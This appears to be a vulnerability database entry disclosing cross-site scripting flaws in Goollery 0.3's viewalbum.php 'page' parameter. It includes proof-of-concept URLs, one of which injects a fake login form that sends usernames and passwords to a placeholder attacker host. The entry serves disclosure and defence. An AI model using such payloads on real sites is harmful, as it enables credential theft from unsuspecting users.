Goolery 0.3 viewalbum.php page Parameter XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Goolery 0.3 viewalbum.php Parameter XSS vulnerabilit


                                                source: http://www.securityfocus.com/bid/11587/info
 
It is reported that Goollery is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
These problems present themselves when malicious HTML and script code is sent to the application through the &#39;page&#39; parameter of several scripts.
 
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=&#60;form%20action=&#34;http://www.atacker.com/save2db.asp&#34;%20method=&#34;post&#34;&#62;Username:&#60;input%20name=&#34;us
ername&#34;%20type=&#34;text&#34;%20maxlength=&#34;30&#34;&#62;&#60;br&#62;Password:&#60;input%20name=&#34;password&#34;%20type=&#34;text&#34;%20maxlength=&#34;30&#34;&#62;&#60;br&#62;&#60;input%20name=&#34;login&#34;%20type=&#34;submit&#34;%20value=&#34;Login&#34;&#62;&#60;/fo
rm&#62;&sess=daf5c642ade1162f15c4eb4b7e89da17

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=&#60;body&#62;XSS%20poW@!!&#60;/body&#62;&sess=daf5c642ade1162f15c4eb4b7e89da17

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1